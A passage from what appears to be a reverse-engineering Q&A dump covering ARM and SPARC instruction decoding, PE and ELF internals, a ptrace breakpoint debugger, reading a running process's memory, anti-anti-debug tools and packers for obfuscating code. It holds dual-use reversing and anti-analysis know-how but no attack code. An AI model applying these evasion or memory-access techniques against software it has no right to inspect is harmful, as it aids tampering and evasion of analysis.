    The ADD instruction has the bytes \"08 61 0D 91\"\nHow could I get the value out of the 2 instructions?\nThis is my program to calculate the address of some_function:\nIt should sign extend a 21-bit offset, shift it left by 12, and add it to PC with the 12 bottom bits cleared.\nThen I should get the last 12 bits from the ADD instruction, and add it to this value.

    \n\n
        int instr = 0x90000008;\n    //int instr = 0x80000090;\n    int value = 0x1fffff & instr;\n    int mask = 0x100000;\n    if(mask & instr)\n    {\n            value += 0xffe00000;\n    }\n    printf(\"value : %08x\\n\", value);\n    value = value << 12;\n    printf(\"value : %08x\\n\", value);\n    int instr2 = 0x910d6108;\n    //int instr2 = 0x08610d91;\n    value += (instr2 & 0xfff); //get the last 12 bits from instr2\n    printf(\"value : %08x\\n\", value);\n
    \n\n

    After executing the instructions, the value 00000001002E0358 should be in X8, because that is the address of the function we want to calculate.\nThe output of my program is:

    \n\n
    value : 00000008\nvalue : 00008000\nvalue : 00008108\n
    \n\n

    What am I doing wrong?

    \n\n

    Conclusion: I was reading the wrong ARM manual.\nThe official AArch64-manual from ARM is the one you should use.

    \n\n

    The final code :

    \n\n
        const int tab32[32] = {\n     0,  9,  1, 10, 13, 21,  2, 29,\n    11, 14, 16, 18, 22, 25,  3, 30,\n     8, 12, 20, 28, 15, 17, 24,  7,\n    19, 27, 23,  6, 26,  5,  4, 31};\n\n    int log2_32 (uint32_t value)\n    {\n        value |= value >> 1;\n        value |= value >> 2;\n        value |= value >> 4;\n        value |= value >> 8;\n        value |= value >> 16;\n        return tab32[(uint32_t)(value*0x07C4ACDD) >> 27];\n    }\n\n    uint64_t get_page_address_64(uint64_t addr, uint32_t pagesize)\n    {\n            int bits_page_offset;\n            bits_page_offset = log2_32(pagesize);\n            return (addr >> (bits_page_offset - 1)) << (bits_page_offset - 1);\n    }\n\n    uint64_t get_adrp_add_va(unsigned char *adrp_loc, uint64_t va){\n        uint32_t instr, instr2, immlo, immhi;\n        int32_t value;\n        int64_t value_64;\n        //imm12 64 bits if sf = 1, else 32 bits\n        uint64_t imm12;\n        instr = *(uint32_t *)adrp_loc;\n        immlo = (0x60000000 & instr) >> 29;\n        immhi = (0xffffe0 & instr) >> 3;\n        value = (immlo | immhi) << 12;\n        //sign extend value to 64 bits\n        value_64 = value;\n        //get the imm value from add instruction\n        instr2 = *(uint32_t *)(adrp_loc + 4);\n        imm12 = (instr2 & 0x3ffc00) >> 10;\n        if(instr2 & 0xc00000)\n        {\n                imm12 <<= 12;\n\n        }\n        return get_page_address_64(va, PAGE_SIZE) + value_64 + imm12;\n    }\n
    \n", "Title": "getting function address by reading ADRP and ADD instruction values", "Tags": "|ida|assembly|arm|ios|mach-o|", "Answer": "

    For the first instruction (0x90000008) it matches the opcode below for PC relative addressing instruction.

    \n\n

    \"pc-relative

    \n\n

    0x90000008 = 0b10010000000000000000000000001000 so we have op=1 (ADRP), immlo=0, immhi=0 and Rd=8 (X8). The instruction decodes to ADRP X8, #0. This is going take the current page the instruction pointer is at, add 0<<12, and store in register X8 so you would have

    \n\n

    X8 = page_address_of(0x00000001002E050C) + 0<<12 = 0x00000001002E0000

    \n\n

    The next instruction 0x910d6108 matches the instruction for ADD/SUBTRACT immediate.

    \n\n

    \"add/sub

    \n\n

    0x910d6108 = 0b10010001000011010110000100001000 so we have sf=1 (64-bit variant), op=0 (add), S=0 (non-saturating), shift=0 (LSL #0), imm12=0x358, Rn=8 (X8), Rd=8 (X8).

    \n\n

    It decodes to ADD X8, X8, #0x358 which would add 0x358 to X8 so you would have

    \n\n

    X8 = X8 + 0x358 = 0x00000001002E0358

    \n" }, { "Id": "15420", "CreationDate": "2017-05-25T05:33:19.680", "Body": "

    I using Windows, and I was wondering what is the best anti anti debug plugin that exist,\nI tried to use hidedebug by Bob -> Team PEiD, but unfortunately it catch only the regular ways, I know that some of you will send me to the documents of all functions, but I'm looking for something that will make my life easier.\nP.S:\nI'm trying to debug just for fun and not for work :)\nThanks ahead.

    \n", "Title": "Immunity debugger anti anti debug", "Tags": "|disassembly|windows|anti-debugging|immunity-debugger|", "Answer": "

    You can try ScyllaHide. There is no plugin for Immunity Debugger, but there is one for OllyDbg and that should make it trivial to port. Alternatively you can see this answer on how to hide any process with ScyllaHide regardless of the debugger you're using.

    \n" }, { "Id": "15440", "CreationDate": "2017-05-28T21:47:26.177", "Body": "

    I was checking PEview.exe image section headers and I didn't find the .txt section, but i found code section instead, it means it was developed using Delphi, right?

    \n", "Title": "Was PEview developed using Delphi?", "Tags": "|delphi|", "Answer": "

    Nope ... Here's the environement used to develop it GoDevTool. Given what I read about the GoDevTool, it looks it might have been written in 32bit Windows assembly which was interfaced with a Go API.

    \n" }, { "Id": "15443", "CreationDate": "2017-05-29T19:19:12.117", "Body": "

    I was analysing Lab01-02.exe from Practical Malware Analysis book, the exe is packed with upx, since it showed UPX0, 1, 2 in the header section when analyzed with PEview, but when I open the same exe with PE Explorer is showed the regular header section (.txt .data ... )\nDose PE Explorer unpack packed files before analyze it? what if I want to view the packed exe with PE Explorer?

    \n", "Title": "Dose PE Explorer unpack upx executables?", "Tags": "|static-analysis|unpacking|packers|upx|", "Answer": "

    The product overview of PE Explorer states in several places that it will load PE files that are compressed with UPX.

    \n\n
    \n

    Open UPX-, Upack- and NsPack-compressed files seamlessly in PE Explorer, without long workarounds

    \n
    \n" }, { "Id": "15446", "CreationDate": "2017-05-30T18:28:38.367", "Body": "

    I am trying to figure out the encoding for unconditional JMPs on SPARC, i.e the JMP. After disassembling a few binaries.

    \n\n

    In my IDA disassembly the encoding for JMP %g1 is:

    \n\n
    81 c0 40 00 \n
    \n\n

    Digging through the spark manuals, I can't seem to find a record of how this is encoded. I am also confused as to why IDA refers to a \"JMP\" as opposed to the \"JMPL\" in the docs.

    \n\n

    The JMPL encoding recommendations given in the SPARC9 manual are a little arcane to me and I struggle with what they are getting at:

    \n\n
    10-RD-OP3-RS1-i-[-]-rs2 \n
    \n\n

    or

    \n\n
    10-RD-OP3-RS1-i-siMM3\n
    \n\n

    \"If either of the low-order two bits of the jump address is nonzero, a mem_address_not_aligned\nexception occurs\"

    \n\n

    Well, I'm not sure how that squares with the instruction that IDA found. Can someone break down how this maps to JMP %g1? How would this change for JMP %g2?

    \n", "Title": "What is the encoding format for unconditional Jumps on SPARC/SPARC64?", "Tags": "|encodings|sparc|assembly|", "Answer": "

    81 c0 40 00 can be broken down as follows

    \n\n
        \n10 00000 111000 00001 0 0000000000000\n\n^--op1\n   ^--rd\n         ^--op3\n                ^--rs1\n                      ^--i\n                         ^--rs2/simmm13\n
    \n\n

    To change the target from %g1 to %g2, just change the rs1 field from 00001 to 00010.

    \n\n

    The 'L' is simply an artifact of at&t syntax vs intel syntax. In at&t syntax, the instruction name encodes information about the argument size. In intel syntax, that's done via the decorating of arguments.

    \n" }, { "Id": "15457", "CreationDate": "2017-05-31T17:04:14.867", "Body": "

    I have a large c++ program and I have found a pointer to an object of interest. I want to be able to identidy that object by atleast the constructor. What are some methods I can use to identify the constructor when the object's constructor is \"nowhere in sight\", i.e., it's far back in the program flow?

    \n", "Title": "Identifying structures in C++", "Tags": "|disassembly|c++|", "Answer": "

    I would like to expand a bit on the previous answer after I have learned some more about decompilation.\nThere are two principle types of objects in c++ (on MS Windows, that is). Those two are objects with vtables and objects without vtables.

    \n\n

    In objects without vtables, identifying them is definitely more tricky, but on the plus side, these are usually either very big structures that are declared at compile time, or small structures that are constructed within the scope of the function. So you can either tell the object apart by it's constructor or it's address in the memory. Or at the very least, locally constructed objects without vtables aren't too many function calls behind.

    \n" }, { "Id": "15472", "CreationDate": "2017-06-03T08:45:53.887", "Body": "

    I do malware analysis on Windows. I run hundreds of Windows PEs per day and it is actually relatively common for a file to not run (or sometimes not run on just one specific version of Windows) and I get an error message such as \"This is not a valid Win32 application.\" However, when I open the file in a hex editor, it does have the MZ, PE signature, and even the sections intact. Also, programs such as PE Explorer can open the file fine and claim that it's a valid PE file, without even having to open it in \"safemode\" for example. Note that I am NOT talking about error messages concerning 64 bit on a 32 bit version of Windows, as that is self-explanatory.

    \n\n

    Below is a screenshot of one such file. This file, however, has no DOS stub at all and the DOS header data structures are all set to 0 except for e_lfanew which does point to a PE sig. However, the Windows loader says it's not a valid Win32 app at least on my version of Win7 64bit.

    \n\n

    \"enter

    \n\n

    I do know that the loader essentially reads the data structures and from that, it does things such as allocate stack and heap memory, determine which symbols are needed and from which DLL files, as well as a few other tasks. So my assumption based off of that would be that if for example, one of these header data structures told the loader to do something that made no sense such as allocate negative space, too much space, or contained nonsense in a structure that was critical for the loader to work, it could crash it. However, this is just speculation on my part.

    \n", "Title": "What PE anomalies can crash the Windows Loader or cause a file to not load?", "Tags": "|windows|malware|pe|", "Answer": "

    There are many ways in which the loader can fail to load a seemingly valid file. There are differences in rules for 32-bit and 64-bit architectures, for example. The most obvious of those is the minimum file size.

    \n\n

    Then there are differences in rules between different versions of Windows. In older versions, critical data such as the import table could be placed in the file header. This is no longer the case.

    \n\n

    An alignment requirement for the PE header was introduced. The rules changed for where the PE header can appear in the file. The rules changed for the maximum number of sections in a file.

    \n\n

    The rules also changed for section alignment, section order, and overlapping sections, among other things.

    \n\n

    The full list of what was changed and how it changed would be very long and detailed, depending on how many versions of Windows are being considered.

    \n\n

    Without having your file in hand, it isn't clear why the file won't load.

    \n" }, { "Id": "15476", "CreationDate": "2017-06-04T00:28:12.437", "Body": "

    One of the threads I have discovered in my reading about learning how to reverse engineer is to write \"small\" c programs compile them and then disassemble them to see how the c code gets translated into assembly.

    \n\n

    I am working on windows 7 64-bit, and have had problems getting visual studio installed. When I select one of the visual studio command prompts the environment never gets set correctly so the compilers are not available.

    \n\n

    So my question is:\nShould I install mingw, mingw-w64, or cygwin to provide the best environment for this kind of testing/learning?

    \n", "Title": "best c compiler on windows for reversing", "Tags": "|compilers|", "Answer": "

    Kris Kaspersky's (RIP) book called Hacker Disassembly Uncovered (freely available in chm format, just google for it) has a whole chapter just on that topic - he shows different code snippets (starting with really simple ones and then goes to floating points, virtual functions tables and other C++ constructs) under different compilers and does a line-by-line disassembly with in-depth insights.

    \n\n

    This book does exactly what you're asking for.

    \n" }, { "Id": "15479", "CreationDate": "2017-06-04T14:16:47.257", "Body": "

    While trying to understand a behavior of TestNG I found my self disassembling the .class files. During that, I accidentally noticed that the official binary differs from the one built manually from source and from the source itself.

    \n\n

    The reason I disassembled the binaries was just to prove that the binary really lacks local variable tables (and for fun), since I was unable inspecting local variables.

    \n\n\n\n

    I built the source from the project repository at Tag 6.11. using Gradle.

    \n\n

    In the first place I inspected both using javap -l -p TestNG.class, writing the output into two separate files and diffing the resulting descriptions. So far so good.

    \n\n

    Then, for fun, I disassembled both class files using these commands:

    \n\n
    javap -c -p /tmp/TestNG.mvn.class > /tmp/TestNG.mvn.java\njavap -c -p /tmp/TestNG.mine.class > /tmp/TestNG.mine.java\n
    \n\n

    Then I diffed both and accidently found the private field m_executionListeners to be missing.

    \n\n
    --- /tmp/TestNG.mvn.java      2017-06-03 23:12:16.005211337 +0200\n+++ /tmp/TestNG.mine.java     2017-06-03 23:12:08.245208191 +0200\n@@ -92,6 +92,8 @@\n\n   protected long m_start;\n\n+  private final java.util.Map<java.lang.Class<? extends org.testng.IExecutionListener>, org.testng.IExecutionListener> m_executionListeners;\n+\n
    \n\n

    (No, its declaration did not just move around, it's gone.)

    \n\n

    So I thought it could be some kind of compiler optimization. But it is actually referenced and accessed two times. This is one access:

    \n\n
    public void addListener(ITestNGListener listener) {\n   if (listener == null) {\n     return;\n   }\n   if (listener instanceof ISuiteListener) {\n     ISuiteListener suite = (ISuiteListener) listener;\n     maybeAddListener(m_suiteListeners, suite.getClass(),  suite);\n   }\n   // ...\n   if (listener instanceof IExecutionListener) {\n     IExecutionListener execution = (IExecutionListener) listener;\n     maybeAddListener(m_executionListeners, execution.getClass(), execution);\n   }\n   // ...\n }\n
    \n\n

    See the source

    \n\n

    All other fields that run through the instanceof check, type cast and maybeAddListener() call are still present.

    \n\n

    Am I right, with my conclusion, that the binary has not been built from the (supposed-to-be) related source? Or what it going on here?

    \n", "Title": "Disassembled Java class file differs from Source", "Tags": "|java|bin-diffing|", "Answer": "

    You are correct that the binary does not match the tagged source. It does, however, match the changes made in commit 6cfc6b4a403f8487d9fa96aa3d42db7848c8755a, which was made on February 25, one day after the most recent commit tagged 6.11 and before the most recent merge commit in 6.11.

    \n\n

    I can only speculate, but it seems likely that their local version of 6.11 includes an extra commit or two that they accidentally left out of the tag on Github.

    \n" }, { "Id": "15484", "CreationDate": "2017-06-05T19:10:10.253", "Body": "

    I'm trying to find out, how the checksumming in an RS485 communication works.\nThe data is packetized and seems to be using 8bit checksums.

    \n\n

    One packet per line, the last byte that isn't 0x00 seems to be the checksum.

    \n\n

    I've been able to generate this data which is incrementing continuously.

    \n\n

    0xAA at the beginning is the preamble of the packet, so that probably isn't part of the checksum.

    \n\n
    aa1c01010439000000000000000002a600001429000025caff000000d8000000\naa1c01010439000000000000000002a600001429000025ca00000000d9000000\naa1c01010439000000000000000002a600001429000025cb00000000da000000\naa1c01010439000000000000000002a600001429000025cc00000000db000000\naa1c01010439000000000000000002a600001429000025cd00000000dc000000\naa1c01010439000000000000000002a600001429000025ce00000000dd000000\naa1c01010439000000000000000002a600001429000025cf00000000de000000\naa1c01010439000000000000000002a600001429000025d000000000df000000\naa1c01010439000000000000000002a600001429000025d100000000e0000000\naa1c01010439000000000000000002a600001429000025d200000000e1000000\naa1c01010439000000000000000002a600001429000025d300000000e2000000\naa1c01010439000000000000000002a600001429000025d400000000e3000000\naa1c01010439000000000000000002a600001429000025d500000000e4000000\naa1c01010439000000000000000002a600001429000025d600000000e5000000\naa1c01010439000000000000000002a600001429000025d700000000e6000000\naa1c01010439000000000000000002a600001429000025d800000000e7000000\naa1c01010439000000000000000002a600001429000025d900000000e8000000\naa1c01010439000000000000000002a600001429000025da00000000e9000000\naa1c01010439000000000000000002a600001429000025db00000000ea000000\naa1c01010439000000000000000002a600001429000025dc00000000eb000000\n
    \n\n

    I have some more data, but that has much more going on in it: \nhttps://gist.github.com/Manawyrm/0167fec375d3756dda19c750998f34fc

    \n\n

    I have tried a simple XOR and CRC8 implementation, and have tried every offset for the start of the data.

    \n\n

    Can someone recognize the checksum algorithm used here? It seems relativly simple, because the checksum is incrementing together with the data.

    \n\n

    Thanks,\nTobias

    \n", "Title": "Simple 8bit checksum", "Tags": "|crc|xor|", "Answer": "

    It is a plain byte sum.

    \n\n

    for the last line:

    \n\n
    aa+1c+01+01+04+39+00+00+00+00+00+00+00+00+02+a6+00+00+14+29+00+00+25+dc\n=\n02EB\n
    \n" }, { "Id": "15500", "CreationDate": "2017-06-07T09:07:38.443", "Body": "

    I am completely new to Windows programming so please excuse any naivety on my part when asking this question. I'll briefly describe my situation and then hopefully you'll be able to answer my question.

    \n\n

    I have a small executable file that was written in Delphi and packed with Aspack 2.12.

    \n\n

    When the file runs there is a variable called Total which gets incremented. When the file exits a .dat file gets updated with the new Total value.

    \n\n

    I can program something to 'read' the Total from the .dat file (just by using php or one of the languages I'm familiar with). However, I would like to read the Total value in \"real time\" when the executable is running (I don't need to 'write' to the Total value - just read it).

    \n\n

    I wondered if there was any way of writing an application that would \"reach in\" to a running executable and read a variable out of it?

    \n\n

    I remember back in the Spectrum days you could \"peek\" and \"poke\" memory. Is something like this feasible?

    \n\n

    I wondered if this is even possible and, if so, how could I go about doing this?

    \n", "Title": "Is it possible to extract / read a variable out of a running .exe file?", "Tags": "|windows|executable|exe|", "Answer": "

    Look into ReadProcessMemory WinAPI, alternatively CheatEngine is a tool that can do all kinds of memory related operations for you (search, modify, freeze, debug, etc.).

    \n\n

    You could also search on Github for some other memory \"hacking\" projects in a language that you are familiar with.

    \n\n

    Cheat engine can find the exact memory address in the memory of the value you are looking for. You might be able to use some pointers to get the location of your value on each run, so you do not have to use CheatEngine each time to find the address. I recommend you go trough the tutorial which comes with Cheat Engine, so you get a better understanding of pointers :)

    \n" }, { "Id": "15504", "CreationDate": "2017-06-07T20:09:08.117", "Body": "

    ** Edit ** After some great help from @tylernygaard I have discovered that the same variable is being written to two difference places in the memory. They are both 'static' addresses. Problem solved. Original question below....

    \n\n

    I posted a question earlier regarding \"reading\" a variable from an executable here (Please excuse my naivety in this area)

    \n\n

    I simply wanted to \"read\" a Total variable from an executable whilst it was running.

    \n\n

    I was recommended a program called Cheat Engine which I have downloaded, completed the tutorial and then used.

    \n\n

    On one PC, Cheat Engine showed the variable at address \"0096E0B4\".

    \n\n

    Out of curiosity I installed Cheat Engine on another PC and the variable was at address \"0096E0A4\"

    \n\n

    These addresses are so close that I'm assuming this isn't just dynamically chosen at runtime (is it?). So I wondered if anyone knew why they would be different?

    \n\n

    And whether it would still be possible to write some code to read the correct value?

    \n", "Title": "Help reading a variable from an address in an executable?", "Tags": "|exe|", "Answer": "

    You will know if they are static addresses if Cheat Engine shows them green on the search results screen. See pic related. \"enter

    \n" }, { "Id": "15505", "CreationDate": "2017-06-08T04:44:09.590", "Body": "

    I have found myself confused while reversing some programs (specifically the IOLI Crackme challenges). I have no trouble solving them, but I have come across something that I do not understand and it irks me.

    \n\n

    I have a function call to, in this example, sub_80484B4. The caller is sub_8048542. It pushes to values on the stack, (arg_4 and num). However, As you can see in the disassembly of sub_80484B4, it only shows one argument, arg_4.

    \n\n

    What happened to num? Is Ida just saying arg_4 only because num's value is not referenced in the callee?

    \n\n

    I use Radare2 and it showed the same thing. Am I missing something or are the tools just simplifying?

    \n\n

    \"Caller\"Callee

    \n", "Title": "Two arguments pushed on stack, callee only shows one argument", "Tags": "|disassembly|radare2|stack|arguments|", "Answer": "

    The function at sub_80484B4 does however return its value in eax, so the push could be to preserve the original value of eax. Which isn't used either from what can be seen in the disassembly.\nProbably wasn't compiled with optimisation in that case

    \n" }, { "Id": "15525", "CreationDate": "2017-06-10T16:42:12.507", "Body": "

    I am trying to make things harder for someone to reverse my code.

    \n\n

    I think that implementing a shellcode following this article could work for my case.

    \n\n

    How can I access (or share) global variables in the shellcode I am loading?

    \n\n

    I assume you can pass variables as arguments.

    \n\n

    Thanks

    \n", "Title": "Anti-Reverse Question on implementing a Shellcode", "Tags": "|anti-debugging|", "Answer": "

    Writing a shellcode is often a task considerably more difficult than developing a piece of software. To me it seems your assumption about developing your program as a shellcode is incorrect and will create problems for you later on.

    \n\n

    This kind of thing is often addressed using Packers and Crypters. There are several relatively simple ones (like UPX), while some are considered quite effective (Themida and ASPack). There are many more available packers to choose from, some are free and some are commercial.

    \n\n

    If you are reluctant to use any of the available packers I believe researching that domain will prove more fruitful to your goal. Using a shellcode will more often require:

    \n\n
      \n
    1. Writing location independent code.
      2. \n
    2. creating your own DLL loading/locating and API resolving functionalities.
      3. \n
    3. writing or editing assembly directly.
      4. \n
    \n\n

    And will however provide only little advantage over code compiled normally. For example, anti-debugging techniques (as mentioned in your comments) are not limited to \"shellcode\" and can just as easily be injected/written into C/C++ code. Moreover, most packers include anti-debugging tricks by default (or provide such configuration).

    \n" }, { "Id": "15538", "CreationDate": "2017-06-13T04:14:26.503", "Body": "

    I am reading through the 'Practical Malware Analysis' book and got to page 74 which says:

    \n\n
    \n

    lea ebx, [eax*4+4] is the functional equivalent of ebx = (eax+1)* 5\n where eax is a number.

    \n
    \n\n

    As of my understanding, lea ebx, [eax*4 + 4] should multiply eax value by 4, add 4 to it and then store it back in ebx, which is different than (eax+1) * 5.

    \n\n

    Is that a typo? Or I got things wrong?

    \n\n

    I think it should be: ebx = (eax+1) * 4

    \n", "Title": "LEA assembly instruction", "Tags": "|disassembly|assembly|x86|", "Answer": "

    This is a typo. The instruction lea ebx,[eax*4+4] will set ebx to 4*eax+4 or 4*(eax+1).

    \n\n

    I believe I found a revision online of that book which has:

    \n\n
    \n

    For example, it is common to see an instruction such as lea ebx, [eax*5+5], where eax is a number, rather than a memory address. This instruction is the functional equivalent of ebx = (eax+1)*5, ...

    \n
    \n\n

    so it seems as though it was corrected at some point. Note that, technically, lea ebx, [eax*5+5] is really implemented as lea ebx, [eax*4+eax+5].

    \n" }, { "Id": "15546", "CreationDate": "2017-06-13T20:27:34.250", "Body": "

    I'm using updated Kali and compiling this for 64- bit

    \n\n

    Working through Learning Linux Binary Analysis,'simple ptrace-based debugger' on page 57.

    \n\n

    Source code and testfile to debug included.

    \n\n

    Problem is accessing the return value of lookup_symbol from the shared object file 'test'.

    \n\n

    Regarding the given program:\nThe only thing I've changed is the error check that checks for ET_EXEC, I changed it to ET_DYN so that I can try to trace shared object files, which seem unavoidable when I import stdio.h for the print function. Also, changed the part that checks for ELF files, used use:

    \n\n
    \n

    h.mem[0] != 0x7f || strcmp((char *)&h.mem1, \"ELF\"\n But I don't think the second part is necessary, and my computer spits out an error unless I use \"ELF\\002\\001\\001\" in the strcmp.

    \n
    \n\n

    The work of the parent program is done in the lookup_symbol function which searches for the symbol name in the string table and returns the symbol table st_value (the virtual address) of the desired symbol.

    \n\n

    From TIS ELF Specification

    \n\n
    \n

    In executable and shared object files, st_value holds a virtual\n address. To make these files' symbols more useful for the dynamic\n linker, the section offset (file interpretation) gives way to a\n virtual address (memory interpretation) for which the section number\n is irrelevant.

    \n
    \n\n

    To search for print_string in 'test':

    \n\n
    \n

    ./tracer ./test print_string

    \n
    \n\n

    The goal is to break at each print_string call and print the registers at that point, then any key can be pressed to continue execution.

    \n\n

    When running the source code the lookup_symbol function returns 0x6b0 on my comp for the value of symtab->st_value and assigns it to h.symaddr.

    \n\n

    0x6b0 is the virtual address (value of) of print_string in the symbol table, confirmed by checking readelf

    \n\n
    \n

    58: 00000000000006b0 27 FUNC GLOBAL DEFAULT 14 print_string

    \n
    \n\n

    The original from the book uses 0x6b0 directly in the following function:

    \n\n
    \n

    if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0)

    \n
    \n\n

    This function fails with an error on my computer when it attempts to use h.symaddr=0x6b0:

    \n\n
    Beginning analysis of pid: 2462 at 6b0\nPTRACE_PEEKER: Input/output error\nhello 1\nhello 2\n
    \n\n

    The problem is not that it's a virtual address being returned, because as quoted above, both executables and shared object files contain virtual addresses in symbol_table->st_value. I'm not sure why but there is a difference in how this ptracing parent program treats shared objects and executables.

    \n\n

    This is the test file:

    \n\n
    #include <stdio.h>\n\nvoid print_string(char * str)\n{\n    printf(\"%s\\n\", str); \n}\n\nint main(int argc, char ** argv)\n{\n    print_string(\"hello 1\");\n    print_string(\"hello 2\");\n    return 0;\n}\n
    \n\n

    This is the source file:

    \n\n
    #include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <signal.h>\n#include <elf.h>\n#include <sys/types.h>\n#include <sys/user.h>\n#include <sys/stat.h>\n#include <sys/ptrace.h>\n#include <sys/mman.h>\n#include <sys/wait.h>\n\n\n\n\ntypedef struct handle\n{\n    Elf64_Ehdr *ehdr;\n    Elf64_Phdr *phdr;\n    Elf64_Shdr *shdr;\n    uint8_t *mem;\n    char *symname;\n    Elf64_Addr symaddr;\n    struct user_regs_struct pt_reg;\n    char *exec;\n} handle_t;\n\nElf64_Addr lookup_symbol(handle_t *, const char *);\n\n\n\nint main(int argc, char **argv, char **envp)\n{\n\n    int fd;\n    handle_t h;\n    struct stat st;\n    long trap, orig;\n    int status, pid;\n    char * args[2]; \n\n    if (argc < 3)\n    {\n        printf(\"Usage: %s <program> <function>\\n\", argv[0]);\n        exit(0);\n    }\n\n\n    if ((h.exec = strdup(argv[1])) == NULL)\n    {\n        perror(\"strdup\"); exit(-1);\n    }\n\n    args[0] = h.exec;\n\n    args[1] = NULL;\n\n    if ((h.symname = strdup(argv[2])) == NULL)\n    {\n        perror(\"strdup\");\n        exit(-1);\n    }\n\n    if ((fd = open(argv[1], O_RDONLY)) < 0)\n    {\n        perror(\"open\");\n        exit(-1);\n    }\n\n    if (fstat(fd, &st) < 0) \n    {\n        perror(\"fstat\");\n        exit(-1);\n    }\n\n    h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n\n    if (h.mem == MAP_FAILED)\n    {\n        perror(\"mmap\");\n        exit(-1);\n    }\n\n\n    h.ehdr = (Elf64_Ehdr *)h.mem;\n\n    h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr->e_phoff);\n\n    h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr->e_shoff);\n\n    if (h.mem[0] != 0x7f)\n    {\n        printf(\"%s is not an ELF file\\n\", h.exec);\n        exit(-1);\n    }\n\n    if (h.ehdr->e_type != ET_DYN)\n    {\n        printf(\"%s is not an ELF dynamic\\n\", h.exec);\n        exit(-1);\n    }\n\n    if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0 || h.ehdr->e_shnum == 0)\n    {\n        printf(\"Section header table not found\\n\");\n        exit(-1);\n    }\n\n    if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0)\n    {\n        printf(\"Unable to find symbol: %s not found in executable\\n\", h.symname);\n        exit(-1);\n    }\n\n    close(fd);  \n\n    if ((pid = fork()) < 0)\n    {\n        perror(\"fork\");\n        exit(-1);\n    }\n\n    if (pid == 0)\n    {\n\n        if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0)\n        {\n            perror(\"PTRACE_TRACEME\");\n            exit(-1);\n        }\n\n        execve(h.exec, args, envp);\n        exit(0);\n    }\n\n    wait(&status);\n    printf(\"Beginning analysis of pid: %d at %lx\\n\", pid, h.symaddr);\n\n\n    if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0)\n    {\n        perror(\"PTRACE_PEEKER\");\n        exit(-1);\n    }\n    trap = (orig & ~0xff | 0xcc);\n\n\n    printf(\"Made it here\");\n\n\n    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0)\n    {\n        perror(\"PTRACE_POKETEXT\");\n        exit(-1);\n    }\ntrace:\n\n    if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0)\n    {\n        perror(\"PTRACE_CONT\");\n        exit(-1);\n    }\n    wait(&status);\n\n\n    if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP)\n    {\n        if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0)\n        {\n            perror(\"PTRACE_GETREGS\");\n            exit(-1);\n        }\n\n        printf(\"\\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\\n\", h.exec, pid, h.symaddr);\n\n    printf(\"%%rcx: %llx\\n%%rdx: %llx\\n%%rbx: %llx\\n\" \n                \"%%rax: %llx\\n%%rdi: %llx\\n%%rsi: %llx\\n\" \n                \"%%r8: %llx\\n%%r9: %llx\\n%%r10: %llx\\n%%\" \n                \"%%r11: %llx\\n%%r12: %llx\\n%%r13: %llx\\n%%\" \n                \"%%r14: %llx\\n%%r15: %llx\\n%%rsp: %llx\\n%%\");\n    printf(\"\\nHit any key to continue: \");\n    getchar();\n    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0)\n    {\n        perror(\"PTRACE_POKETEXT\");\n        exit(-1);\n    }\n\n    h.pt_reg.rip = h.pt_reg.rip - 1;\n    if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0)\n    {\n        perror(\"PTRACE_SETREGS\");\n        exit(-1);\n    }\n\n    if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0)\n    {\n        perror(\"PTRACE_SINGLESTEP\");\n        exit(-1);\n    }\n    wait(NULL);\n\n    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0)\n    {\n        perror(\"PTRACE_POKETEXT\");\n        exit(-1);\n    }\n\n    goto trace;\n    }\n\n    if (WIFEXITED(status)) \n        printf(\"Completed tracing pid: %d\\n\", pid);\n\n    exit(0);\n}\n\n\n\n\n    Elf64_Addr lookup_symbol(handle_t *h, const char *symname)\n    {\n        int i, j;\n        char *strtab;\n        Elf64_Sym *symtab;\n        for (i = 0; i < h->ehdr->e_shnum; i++)      \n        {\n            if (h->shdr[i].sh_type == SHT_SYMTAB)   \n            {\n                strtab = (char *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];\n\n                symtab = (Elf64_Sym *)&h->mem[h->shdr[i].sh_offset];\n\n\n                for (j = 0; j < h->shdr[i].sh_size/sizeof(Elf64_Sym); j++)\n                {\n                    if (strcmp(&strtab[symtab->st_name], symname) == 0)\n                        //printf(\"symtab->st_value is 0x%lx\\n\", symtab->st_value);  \n                        return (symtab->st_value);\n                    symtab++;\n                }\n            }\n        }\n        return 0;\n    }\n
    \n", "Title": "ptrace TRACE_PEEKER: Input/output error accessing virtual address contents when traced file is a shared object file", "Tags": "|elf|", "Answer": "

    You can build without dynamic linking like this:

    \n
    gcc -static -o test test.c\n
    \n

    Then it'll create DT_EXEC type executable not DT_DYN.

    \n" }, { "Id": "15551", "CreationDate": "2017-06-14T11:18:04.633", "Body": "

    I have given a .ps1 file which loads a .dll via:

    \n\n
    Import-Module \".\\decrypter.dll\"\n
    \n\n

    After that, a call to that module is performed by:

    \n\n
    get-decrypt(\" *Some Base64 Encoded string* \")\n
    \n\n

    Only the .dll is given. The Dependency Walker returns no exported functions. IDA Pro Free shows only one module\nMy question:\nHow do I debug this .dll file?

    \n\n

    Kindly regards

    \n", "Title": "Debug a .dll file within powershell", "Tags": "|debugging|dll|", "Answer": "

    As mentioned by the answer before me decrypter.dll is a .NET dll, If you want you can debug it by writing a simple .NET program that references it and calls the same function/method you need, get-decrypt in your case, a nice tool to use for debugging of such a .NET program that can step into its dependency dlls is dnSpy which can be found and downloaded here.

    \n" }, { "Id": "15552", "CreationDate": "2017-06-14T15:35:39.987", "Body": "

